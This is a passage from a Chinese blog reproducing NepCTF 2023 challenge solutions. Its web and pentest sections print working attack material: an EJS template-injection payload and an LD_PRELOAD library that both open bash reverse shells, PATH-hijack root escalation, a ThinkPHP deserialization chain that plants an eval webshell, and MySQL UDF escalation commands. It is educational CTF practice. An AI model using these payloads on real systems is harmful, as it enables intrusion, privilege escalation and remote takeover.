NepCTF2023复现

本文最后更新于：2023年8月22日晚上

[TOC]

【NepCTF2023】复现

MISC

与AI共舞的哈夫曼

年轻人就要年轻，正经人谁自己写代码啊

直接用gpt写出decompress()：

def decompress(input_file, output_file):
    with open(input_file, 'rb') as f:
        # Read frequency information
        num_symbols = ord(f.read(1))
        frequencies = {}
        for _ in range(num_symbols):
            byte, freq_bytes = f.read(1)[0], f.read(4)
            freq = (freq_bytes[0] << 24) | (freq_bytes[1] << 16) | (freq_bytes[2] << 8) | freq_bytes[3]
            frequencies[byte] = freq

        # Rebuild Huffman tree
        root = build_huffman_tree(frequencies)

        # Read compressed data
        compressed_data = f.read()
        bit_string = ''.join(format(byte, '08b') for byte in compressed_data)

    current_node = root
    decompressed_data = []
    for bit in bit_string:
        if bit == '0':
            current_node = current_node.left
        else:
            current_node = current_node.right

        if current_node.char is not None:
            decompressed_data.append(current_node.char)
            current_node = root

    with open(output_file, 'wb') as f:
        f.write(bytes(decompressed_data))

codes

你很会写代码吗，你会写有什么用！出来混讲的是皮 tips:flag格式为Nepctf{},flag存在环境变量

进去之后，里面是一个c语言的解释器，需要我们获得环境变量

经过测试，把一些简单的命令执行函数以及关键字给禁用掉了，没办法经过命令执行获取环境变量

c语言获取环境变量

https://blog.csdn.net/aspnet_lyc/article/details/20548767

在c中，main函数的前两个参数argc, argv被很多人熟悉，但main函数还有第三个参数——arge。

main的第三个参数里存的是系统变量,所以可以通过这个参数获得系统环境变量

#include <stdio.h>
 
int main(int argc, char** argv, char** arge)
{
	while(*arge)
	{
		printf("%s\n", *arge++);
	}
	return 0;
}

小叮弹钢琴

下载获得一个mid音乐文件，我们使用Audacity打开：

放大之后会发现，前面一段是莫斯密码，后面一段是16进制数

摩斯电码解密：

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-.-- --- ..- ... .... --- ..- .-.. -.. ..- ... . - .... .. ... - --- -..- --- .-. ... --- -- . - .... .. -. --.

youshouldusethistoxorsomething

你应该与一些东西异或，很明显，我们把16进制提出来之后与他异或：

1	`0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17`

陌生的语言

A同学在回学校的路上捡到了一张纸条，你能帮帮她吗？

flag格式：NepCTF{XX_XX}

hint：A同学的英文名为“Atsuko Kagari”

hint:flag格式请选手根据自身语感自行添加下划线

给了hint：Atsuko Kagari

我们直接搜索一下：

然后知道了这是一个动画：小魔女学园，然后找到了这是新月文字

百度贴吧找到对照：

1	`HEARTISYOURMAGIC`

1	`NEPNEPABELIEVING`

凭语感拼接起来：

1	`NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}`

你也喜欢三月七么

三月七：耶，终于来到Nepnep星球啦，让我看看正在火热进行的Hacker夺旗大赛群聊。啊！开拓者，这群名看起来怪怪的诶。（伸出脑袋，凑近群名，轻轻的闻了一下）哇，好咸诶，开拓者你快来看看！

开拓者（U_id）：(端着下巴，磨蹭了一下，眼神若有所思）这好像需要经过啥256处理一下才能得到我们需要的关键。

三月七：那我们快想想怎么解开这个谜题！

flag格式:NepCTF{+m+}

hint:URL为压缩包密码

txt文件：

salt_lenth= 10 
key_lenth= 16 
iv= 88219bdee9c396eca3c637c0ea436058 #原始iv转hex的值
ciphertext= b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc

这里根据题目描述：群名很咸，推出salt（长度为10）：NepCTF2023

经过啥256处理一下才能得到我们需要的关键：推出sha256后得到key(关键)

猜测我们对NepCTF2023经过sha256后可以得到key ，取出前32位：

1	`dd8e671df3882c5be6423cd030bd7cb6`

然后AES解密=>hex解密=>base64解密：

https://img1.imgtp.com/2023/07/24/yOkXWSJT.png

星穹铁道文字：

翻译一下：

1	`NepCTF{HRP_always_likes_March_7th}`

Ez_BASIC_II

穿越回 1977 年的 Lemon 赶上了世界上第一批大规模生产的个人电脑发售。经过数月努力他终于拥有了一台计算机。他迫不及待地将自己编写的 BASIC 程序分享给了 H3，但由于 Lemon 对 BASIC 语言不熟悉导致他写错了代码段。数月后他带着装有程序的磁带回到了21世纪，但你能帮他还原磁带中的程序吗？

下载后得到一个录音文件

我们查询一下：世界上第一批大规模生产的个人电脑发售

TRS-80电脑

找一个在线网站解析磁带（cassette）：https://www.my-trs-80.com/cassette/

把ascii提出来

res = '''
.........
... °°...
..º...½..
..¿......
..«´°°...
.........
.........
.. .°°...
..ª...½..
..ª...¿..
..ªµ°¸...
..ª......
....°°...
..¨......
..¿......
..¿......
...½°°¸..
.........
..°°°°°..
....¿....
....¿....
....¿....
.........
'''
res = res.split('\n')
for i in res:
    for j in range(len(i)):
        if(i[j] != '.'):
            print('A',end='')
            continue
        print(' ',end='')
    print()

misc参考

https://zysgmzb.club/index.php/archives/262

https://blog.csdn.net/jyttttttt/article/details/132273970

WEB

ez_java_checkin

shiro反序列化，使用工具一把梭：https://github.com/j1anFen/shiro_attack

find提权

Post Crad For You

噢我的老伙计，这张明信片应该交给你! （明信片样式由ChatGPT生成）

傻逼题啊，根本成功不了

题目给了源码：

var path = require('path');
const fs = require('fs');
const crypto = require("crypto");

const express = require('express')
const app = express()
const port = 3000

templateDir = path.join(__dirname, 'template');
app.set('view engine', 'ejs');
app.set('template', templateDir);

function sleep(milliSeconds){ 
    var StartTime =new Date().getTime(); 
    let i = 0;
    while (new Date().getTime() <StartTime+milliSeconds);

}

app.get('/', function(req, res) {
  return res.sendFile('./index.html', {root: __dirname});
});

app.get('/create', function(req, res) {
  let uuid;
  let name = req.query.name ?? '';
  let address = req.query.address ?? '';
  let message = req.query.message ?? '';
  do {
    uuid = crypto.randomUUID();
  } while (fs.existsSync(`${templateDir}/${uuid}.ejs`))

  try {
	if (name != '' && address != '' && message != '') {
		let source = ["source", "source1", "source2", "source3"].sort(function(){
			return 0.5 - Math.random();
		})
		fs.readFile(source[0]+".html", 'utf8',function(err, pageContent){
			fs.writeFileSync(`${templateDir}/${uuid}.ejs`, pageContent.replace(/--ID--/g, uuid.replace(/-/g, "")));
			sleep(2000);
		})
	} else {
		res.status(500).send("Params `name` or `address` or `message` empty");
		return;
	}
  } catch(err) {
    res.status(500).send("Failed to write file");
    return;
  }
  
  return res.redirect(`/page?pageid=${uuid}&name=${name}&address=${address}&message=${message}`);
});

app.get('/page', (req,res) => {
	let id = req.query.pageid
	if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${templateDir}/${id}.ejs`)) {
		res.status(404).send("Sorry, no such id")
		return;
	}
    res.render(`${templateDir}/${id}.ejs`, req.query);
})

app.listen(port, () => {
  console.log(`App listening on port ${port}`)
})

仔细阅读一下，就知道使用了ejs模板引擎，并且在/page路由中没有对req.query过滤，造成了ejs模板注入

网上是有cve的，

在url后加入：

&settings[view options][escapeFunction]=console.log;this.global.process.mainModule.require('child_process').execSync("bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F9996%20%3C%261'");&settings[view options][client]=true

像这样：

http://nepctf.1cepeak.cn:30398/page?pageid=7416e7e5-a180-4963-87cd-2900836a378c&name=1&address=2&message=1232&settings[view options][escapeFunction]=console.log;this.global.process.mainModule.require('child_process').execSync("bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F9996%20%3C%261'");&settings[view options][client]=true

然后反弹shell拿flag

独步天下配置环境

之前一直报错，不解析清华源，好像是本地dns的问题，折腾了好久终于可以了

我们直接docker-compose up -d启动，然后docker ps查看一下：

发现是映射到了8888端口，结果访问不上。

于是使用：

1	`docker container inspect id号`

查看一下容器信息：

发现ip地址是172.24.0.2 端口8888，于是nc就可以连接上去了

但是发现在外面的主机连不上，于是做一下反向代理：

kali做客户端：

# frpc.ini
[common]
server_addr = 192.168.1.102  # win ip
server_port = 7000

[ssh]
type = tcp
local_ip = 172.24.0.2
local_port = 8888
remote_port = 6000 # 映射到win6000端口

win做服务端：

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# frps.ini
[common]
bind_port = 7000

然后nc 192.168.1.102 6000就可以连上了

独步天下-镜花水月

渗透组合套题

hint：环境变量提权

根据hint，学习了一手环境变量提权

环境变量提权

https://xz.aliyun.com/t/2767

我们查找到唯一的具有suid权限的文件：nmap

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/ $ ls -al /bin/nmap
ls -al /bin/nmap
-rwsr-xr-x    1 root     root        931712 Jul 17 09:46 /bin/nmap

执行一下nmap，发现nmap会调用ports-alive文件

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/bin $ nmap 123
nmap 123
sh: ports-alive: not found

于是我们在/tmp目录下，将/bin/sh写入ports-alive，并且将/tmp加入环境变量：

cd /tmp
echo "/bin/sh" > ports-alive
chmod +x ports-alive
export PATH=/tmp:$PATH

接着返回/bin目录，运行一下nmap，这时由于它会去调用ports-alive，所以先去环境变量中找到了/tmp目录下的ports-alive，结果执行了/bin/sh，获得root权限，然后查看flag即可

/bin $ ./nmap 123
./nmap 123
/bin # whoami
whoami
root # 提权到root
/bin # cat /flag
cat /flag
flag{Everything_is_illusory}

独步天下-破除虚妄

独步天下第一层请nc连接，破除虚妄是第二层对应的flag是flag_mini里的flag

hint：ports-alive 修正后扫描网段（ip范围0到100）用基础get包探测获取html

hint：echo -e “GET / HTTP/1.1\r\nHost: 192.168.200.1\r\n\r\n” | nc xx xx

我们在前面获取root权限之后，我们可以使用wget命令从服务器上下载文件，例如：fscan、frpc

我们经过扫描，得到了一个内网ip：192.168.200.1

但是我们访问不到它，我们使用frp进行反向代理，将其代理到我们自己的服务器上：

[common]
server_addr = ip
server_port = 10001

[ssh]
type = tcp
local_ip = 192.168.200.1
local_port = 80
remote_port = 10002  # 转发到vps的10002端口

然后在命令行运行：

1	`./frpc -c frpc.ini &`

服务器运行：

1	`./frps -c frps.ini &`

然后我们访问服务器的10002端口，成功反向代理

其实可以不用这么麻烦。。

我们观察一下

1	`docker container inspect 668dd14f5748`

这个docker容器将172.24.0.2:8888端口映射到了本机的32768端口上，我们再查看一下kali的ip：192.168.56.129

于是直接：nc 192.168.56.129 32768就可以连上了

然后常规操作，提权：

cd /tmp
echo "/bin/sh" > ports-alive
chmod +x ports-alive
export PATH=/tmp:$PATH
cd /bin
nmap 123

然后我们可以使用wget命令从服务器上下载一个fscan用来内网探测：

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wget http://ip:port/fscan_amd64
mv fscan_amd64 fscan
chmod +x fscan

测到一台内网主机：192.168.200.1

然后我们是没有办法直接访问的，因为，这是在docker容器中的内网。

经过测试，我们发现可以出网，于是我们可以搞一个socks5代理，这里我们选择Venom

先使用wget从服务器上下载：agent_linux_x64

然后运行它：

1	`./agent_linux_x64 -rhost ip -rport 1080`

服务器端监听：

1	`./admin -lport 1080`

接下来我们选择连接上的节点1，然后使用socks 10002为10002端口做一个socks5代理

接着使用proxifier代理一下：

先添加一个解析服务器，填上自己的服务器ip和port

然后配置一下解析规则：

将访问192.168.200.1的请求都通过服务器的socks5代理过去

然后直接浏览器访问就行了：

我们发现这个ping可能存在命令执行，于是抓个包，然后使用%0a分隔：

flag在根目录下，但是没有权限去读

我们发现/app/app.py文件：

from flask import Flask, render_template, request, url_for, redirect
import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'

lib_name='./libping.so'
def load_ping_library():
    # 加载共享库
    mylib = ctypes.CDLL(lib_name)
    return mylib

mylib = load_ping_library()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/ping', methods=['POST'])
def ping():
    global mylib
    ip_address = request.form['ip_address']
    result = ctypes.create_string_buffer(4096*2)
    mylib.ping(ip_address.encode('utf-8'), result)
    return result.value.decode('utf-8')

@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
    if request.headers.get('X-Forwarded-For') != '127.0.0.1':
        return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if not allowed_file(file.filename):
        return 'Invalid file format. Only PNG files are allowed.'
    # 限制文件大小为 5KB
    MAX_FILE_SIZE = 5 * 1024
    if len(file.read()) > MAX_FILE_SIZE:
        return 'File too large. Maximum size is 5KB.'
    # 将文件保存到服务器
    file.seek(0)  # 重置文件读取指针
    file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))
    return redirect(url_for('index'))

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)

这个上传文件的地方没有对文件的内容做出任何过滤

于是我们可以在上传的图片中反弹shell：

1 2	`import os os.popen("bash -c 'bash -i >& /dev/tcp/ip/7788 0>&1'").read()`

上传：（注意图片会检查xff）

然后可以使用python3命令执行：

成功反弹shell：

然后查看一下可疑进程：ps -ef

查看一下这个文件：identity.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {
    int fd=open("/home/ctf/sandbox/",O_RDONLY);
    if(fd<2) {
        exit(0);
    }
    MD5_CTX ctx;
    char md5_res[17]="";
    char key[100]="NEPCTF_6666";
    char sandbox_dir[100]="/home/ctf/sandbox/";
    char dir_name[100]="/home/ctf/sandbox/";
    FILE *new_pip;
    int i;
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    struct rlimit r;
    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);
    memset(key, 0, sizeof(key));
    MD5_Init(&ctx);
    MD5_Update(&ctx, key, strlen(key));
    MD5_Final(md5_res, &ctx);
    for (int i = 0; i < 16; i++) 
            sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);
    char cmd[100];
    
    mkdir(dir_name, 0755);
    if (chdir(dir_name)==-1) {
        puts("chdir err, exiting\n");
        exit(1);
    }
    sprintf(cmd,"%s%s","chmod 777 ",dir_name);
    system(cmd);
    mkdir("bin", 0777);
    mkdir("lib", 0777);
    mkdir("lib64", 0777);
    mkdir("lib/x86_64-linux-gnu", 0777);
    system("cp /bin/bash bin/sh");
    system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
    system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
    if (chroot(".") == -1) {
        puts("chroot err, exiting\n");
        exit(1);
    }
}
void command(int server_socket,int client_socket) {
    char buf[0x666];
    memset(buf,0,0x666);
    write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));
    read(client_socket, buf, 0x10);
    setgid(1001);
    setuid(1001);
    popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {
    int sockfd;
    struct ifreq ifr;
    // Create a socket
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("Socket creation failed");
        return -1;
    }
    // Set the interface name in the ifreq structure
    strncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);
    ifr.ifr_name[IFNAMSIZ - 1] = '\0';
    // Get the IP address using the SIOCGIFADDR ioctl request
    if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {
        perror("ioctl failed");
        close(sockfd);
        return -1;
    }
    close(sockfd);
    // Convert the binary IP address to a human-readable string
    struct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;
    strcpy(ip_address, inet_ntoa(addr->sin_addr));
    return 0;
}
int main(int argc, char **argv) {
    init_dir();
    int flag=1;
    // Server setup
    int server_socket, client_socket;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_len = sizeof(client_addr);
    // Create socket
    server_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (server_socket < 0) {
        perror("Socket creation failed");
        exit(0);
    }
    // Set up server address
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(9999);
    // Bind socket to address and port
    if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("Bind failed");
        exit(0);
    }
    // Listen for incoming connections
    if (listen(server_socket, 1) < 0) {
        perror("Listen failed");
        exit(0);
    }
    printf("Server is listening on port 9999...\n");
    // Accept connection from client
    client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    if (client_socket < 0) {
        client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    }
    char client_ip[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
    printf("Client connected from IP: %s\n", client_ip);
    char ip_address[INET_ADDRSTRLEN];
    const char *interface_name = "eth0";
    if (get_ip_address(interface_name, ip_address) == 0) {
        printf("IP address of eth0: %s\n", ip_address);
    } else {
        printf("Failed to get the IP address of eth0.\n");
    }
    while(flag) {
        if(strcmp(client_ip,ip_address)) {
            send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);
            exit(0);
        } else {
            flag=0;
        }
    }
    command(server_socket,client_socket);
    return 0;
}

这里不懂，

这一部分的文件描述符并没有关闭，文件流也没关闭，因此是可以连接父进程的，openat、fschmod这两个内置函数

然后写一个这种c脚本：

#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    const char* filename = "../../../../flag_mini";
    int fd = openat(3, filename, O_CREAT | O_WRONLY);
    if (fd == -1) {
        // 处理打开文件失败的情况
        printf("1");
    }

    // 更改文件权限为 777
    if (fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO) == -1) {
        // 处理更改文件权限失败的情况
        printf("2");
    }

    // 使用新文件进行操作...

    return 0;
}

我们可以自行编译这个c文件，然后nc进identity以ctf用户运行，这样就可以更改flag_mini的权限为777，我们就可以读取

我们可以通过base64的形式写进去：

echo I2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxzeXMvc3RhdC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzdGRpby5oPgoKaW50IG1haW4oKSB7CiAgICBjb25zdCBjaGFyKiBmaWxlbmFtZSA9ICIuLi8uLi8uLi8uLi9mbGFnX21pbmkiOwogICAgaW50IGZkID0gb3BlbmF0KDMsIGZpbGVuYW1lLCBPX0NSRUFUIHwgT19XUk9OTFkpOwogICAgaWYgKGZkID09IC0xKSB7CiAgICAgICAgLy8g5aSE55CG5omT5byA5paH5Lu25aSx6LSl55qE5oOF5Ya1CiAgICAgICAgcHJpbnRmKCIxIik7CiAgICB9CgogICAgLy8g5pu05pS55paH5Lu25p2D6ZmQ5Li6IDc3NwogICAgaWYgKGZjaG1vZChmZCwgU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSA9PSAtMSkgewogICAgICAgIC8vIOWkhOeQhuabtOaUueaWh+S7tuadg+mZkOWksei0peeahOaDheWGtQogICAgICAgIHByaW50ZigiMiIpOwogICAgfQoKICAgIC8vIOS9v+eUqOaWsOaWh+S7tui/m+ihjOaTjeS9nC4uLgoKICAgIHJldHVybiAwOwp9|base64 -d >poc.c

使用gcc编译一下：

1	`gcc poc.c -o poc`

然后切换到：/home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e

执行nc，我们查看一下ip：

我们需要连接它的9999端口（identity文件规定了）

然后我们读flag

总结

复现完这题学到了很多关于内网中代理等知识，学到了venom工具构造socks5代理，

使用proxifier工具来内网穿透，这个工具可以让本机在访问指定ip时都走代理，可以实现访问内网，不需要类似于：proxychains的方式打开工具，有点像给系统加了一个代理

独步天下-破除试炼_加冕成王

在http://192.168.200.1/index.php有一个web服务：

是一个ZengCMS，这个cms存在漏洞：

我们下载源码，用seay审计一下，搜索一下：unser:

查看一下这个文件：

我们发现cookie会被反序列化，并且我们前面看到了这个cms是基于Thinkphp6.0.x的

我们可以找一条基于thinkphp6的链子

但是这个cookie会经过think_decrypt()函数解密一下

所以我们的cookie需要先通过：think_encrypt()加密一下

function think_encrypt($string, $key = '', $expiry = 0)
{
    // 动态密匙长度，相同的明文会生成不同密文就是依靠动态密匙
    $ckey_length = 0;
    // 密匙
    $key = sha1(md5(empty($key) ? get_one_cache_config('WEB_DATA_AUTH_KEY') : $key));
    // 密匙a会参与加解密
    $keya = sha1(md5(substr($key, 0, 16)));
    // 密匙b会用来做数据完整性验证
    $keyb = sha1(md5(substr($key, 16, 16)));
    // 密匙c用于变化生成的密文
    $keyc = $ckey_length ? substr(md5(microtime()), -$ckey_length) : '';
    // 参与运算的密匙
    $cryptkey = $keya . md5($keya . $keyc);
    $key_length = strlen($cryptkey);
    // 明文，前10位用来保存时间戳，解密时验证数据有效性，10到26位用来保存$keyb(密匙b)，解密时会通过这个密匙验证数据完整性
    // 如果是解码的话，会从第$ckey_length位开始，因为密文前$ckey_length位保存 动态密匙，以保证解密正确
    $string = sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    // 产生密匙簿
    for ($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    // 用固定的算法，打乱密匙簿，增加随机性，好像很复杂，实际上对并不会增加密文的强度
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    // 核心加解密部分
    for ($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        // 从密匙簿得出密匙进行异或，再转成字符
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    return $keyc . str_replace(array('+', '/', '='), array('-', '_', ''), base64_encode($result));
}

有点小麻烦，我们可以直接搭建一个，然后调用这个函数即可：

我们在首页弹出一个加密后的cookie：

加密脚本如下：

<?php
namespace League\Flysystem\Cached\Storage{
    use League\Flysystem\Filesystem;
    abstract class AbstractCache{
        protected $autosave = false;
    }
    class Adapter extends AbstractCache
    {
        protected $adapter;
        protected $file;

        public function __construct(){
            $this->complete = "*/<?php phpinfo();eval(\$_POST[1]);?>";
            $this->expire = "yydsy4";
            $this->adapter = new \League\Flysystem\Adapter\Local();
            $this->file = "pop.php";
        }

    }
}

namespace League\Flysystem\Adapter{
    class Local extends AbstractAdapter{

    }
    abstract class AbstractAdapter{
        protected $pathPrefix;
        public function __construct(){
            $this->pathPrefix = "./";
        }
    }
}
namespace {

    use League\Flysystem\Cached\Storage\Adapter;
    $a = new Adapter();
    echo base64_encode(serialize($a));
}

脚本在根目录写一个木马

嫌麻烦我就不搞了，手动在根目录加pop.php

蚁剑连接：

第二个flag是mysql用户的

查看一下数据库信息：

发现了数据库root权限的账号密码，但是我们当前的用户只是www-data权限而已，想要读flag是不可能的，所以我们需要使用UDF提权

UDF（User-Defined Function）提权指的是通过在MySQL数据库中编写自定义函数（UDF）的方式，实现在MySQL数据库中提升权限的方法

我们只需要写一个plugin进去，但是不能直接写进去，因为plugin目录没权限写:

但是由于当前我们有root权限的数据库用户，我们可以使用select into dumpfile的形式写入：

当以 root 用户身份执行 SELECT INTO DUMPFILE 查询时，它将绕过文件权限检查，并允许将查询结果写入任何有效的文件路径中，即使该路径对 mysql 用户是无法写入的。

请注意，使用 root 用户执行此操作需要格外小心，因为它会绕过一些安全限制。确保仅允许可信任的用户以 root 权限执行此操作，并且仅指定安全的文件路径。

mysql -uroot -p456456zxc+123666 -e "SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"

在/tmp目录创建一个poc.sh，然后修改权限执行它，这时就会将udf.so文件写入/usr/lib/mysql/plugin/目录了（本来是没有权限的）

成功写入后就udf提权了：

1
2
3

mysql -uroot -p456456zxc+123666 -e 'create function sys_eval returns string soname "udf.so";'
mysql -uroot -p456456zxc+123666 -e 'select sys_eval("chmod 777 /flag");'
mysql -uroot -p456456zxc+123666 -e 'select sys_eval("cat /flag");'

md本地没用

知识点

要学学udf提权的知识

Ez_include

hint: 可以参考https://tttang.com/archive/1395/

看题貌似是一个文件包含

但是没法利用其他的，我们删掉后面的参数：

可以拿到源码，link参数后面会拼接一个.txt，这样一般的东西也利用不了

然后这里面会有一个LFI2RCE的知识点，可以通过文件包含来RCE：https://tttang.com/archive/1395/

可以在github上找到利用脚本：https://github.com/synacktiv/php_filter_chain_generator

1	`python3 php_filter_chain_generator.py --chain "<?php eval($_POST[1]);?>"`

这样就成功了：

但是查看一下disable_functions、disable_classes 把很多的函数和类给禁用了,还限制了open_basedir=/var/www/html:/tmp

所以我们需要想办法 php disable_function bypass

这里有文章：

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html#imagemagick-%E6%BC%8F%E6%B4%9E%E7%BB%95%E8%BF%87

https://xz.aliyun.com/t/4623#toc-6

法一：劫持LD_PRELOAD绕过disable_functions

LD_PRELOAD指定的动态链接库文件，会在其它文件调用之前先被调用

劫持步骤：

生成一个我们的恶意动态链接库文件

利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径

配合php的某个函数去触发我们的恶意动态链接库文件

Getshell

这个php的函数很关键。可以使用mail、error_log等，但是这里被禁用了

我们还可以使用mb_send_mail()

它是mail()的包装函数，因此也可以进行劫持

我们需要先编写一个恶意poc.c文件：(用来反弹shell)

__attribute__语法格式为：__attribute__ ( ( attribute-list ) )
若函数被设定为constructor属性，则该函数会在main（）函数执行之前被自动的执行。类似的，若函数被设定为destructor属性，
则该函数会在main（）函数执行之后或者exit（）被调用后被自动的执行。例如下面的程序：

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("bash -c 'bash -i >& /dev/tcp/vps/7788 0>&1'");
}

然后编译一下生成恶意动态链接程序poc.so：

1 2	`gcc -c -fPIC poc.c -o poc gcc --share poc -o poc.so`

然后我们需要把这个文件给上传到服务器上去，并且使用putenv()函数重新设置LD_PRELOAD环境变量，最后使用mb_send_mail()调用恶意的函数进行反弹shell

但是这里有个问题，我们没权限上传文件，和写文件，相关函数被禁用了。

这里有一种方法是上传临时文件/tmp/phpxxx，然后使用scandir("glob:///tmp/php*")去模糊匹配的

还有另一种方法，使用php原生类DOMDocument写文件：

可以参考：https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B8%8B%E7%9A%84php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/#domdocument

1=$f="/tmp/poc.so";
$d=new DOMDocument();
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$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");

成功写进去了

接下来就是劫持环境变量，然后去执行这个恶意so文件中的函数即可：

post:

1
2
3

1=var_dump(scandir("/tmp/"));
putenv("LD_PRELOAD=/tmp/poc.so");
mb_send_mail("","","");

反弹到shell了，接下来就需要提权了

根目录下有个showmsg文件，具有s权限位

他的源码是src.c:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp) {
        gid_t gid;
        uid_t uid;
        gid = getegid();
        uid = geteuid();

        setresgid(gid, gid, gid);
        setresuid(uid, uid, uid);

        printf("Thank you! This is the final step.   --From lx56\n");
        return system("cat /tmp/resources/4.txt");
}

会调用到cat，很明显可以使用环境变量提权:

cd /tmp
echo "/bin/sh" > cat
chmod 777 cat
export PATH=/tmp:$PATH
cd /
./showmsg
tac flag

(cat被污染了，所以不能用cat)

知识点

学到了LFI2RCE ，LD_PRELOAD绕过disable_functions

https://www.yuque.com/dat0u/ctf/gle88r6ghcn1891u#yvenp

https://boogipop.com/2023/08/14/NepCTF%202023%20All%20WriteUP/#Ez-include

https://xz.aliyun.com/t/4623#toc-7

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html#error_log

法二：GCONV绕过disable_functions

原理：https://www.wangan.com/p/7fy7fg4103b2ee22#%E5%88%A9%E7%94%A8GCONV_PATH%E4%B8%8Eiconv

原理简介：

php 在执行 iconv 函数时，实际上是调用 glibc 中的 iconv 相关函数，其中一个很重要的函数叫做 iconv_open()。

linux 系统提供了一个环境变量：GCONV_PATH，该环境变量能够使 glibc 使用用户自定义的 gconv-modules 文件，因此，如果指定了 GCONV_PATH 的值，iconv_open 函数的执行过程会如下：

1.iconv_open 函数依照 GCONV_PATH 找到 gconv-modules 文件，这个文件中包含了各个字符集的相关信息存储的路径，每个字符集的相关信息存储在一个.so 文件中，即 gconv-modules 文件提供了各个字符集的.so 文件所在位置。

根据 gconv-modules 文件的指示找到参数对应的.so 文件。

